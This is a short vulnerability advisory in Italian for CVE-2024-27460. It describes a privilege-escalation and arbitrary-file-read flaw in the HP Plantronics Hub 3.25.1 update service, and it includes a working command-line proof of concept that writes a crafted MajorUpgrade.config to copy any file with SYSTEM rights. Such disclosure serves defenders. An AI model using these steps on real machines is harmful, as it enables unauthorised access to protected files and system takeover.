CVE-2024-27460

HP Plantronics Hub 3.25.1 - Escalation dei Privilegi / Lettura Arbitraria di File dell'Update

Descrizione:

HP Plantronics Hub 3.25.1 presenta un bug che consente a utenti con privilegi bassi di eseguire una lettura arbitraria di file come SYSTEM sul sistema in cui l'applicazione è installata. Inoltre, è possibile abusare di questa falla per escalare i privilegi all'utente SYSTEM.

Versioni vulnerabili

HP Plantronics Hub 3.25.1

Servizi interessati

Percorso non sicuro: "C:\ProgramData\Plantronics\Spokes3G"

Servizio: PlantronicsUpdateService

Passaggi per la riproduzione (POC):

• Aprire cmd.exe
• Navigare usando cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• Il file desiderato verrà copiato in "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", a cui qualsiasi utente autenticato ha accesso.

Scoperto da:

• Farid Zerrouk di Deloitte Belgium
• Alaa Kachouh di Mastercard Europe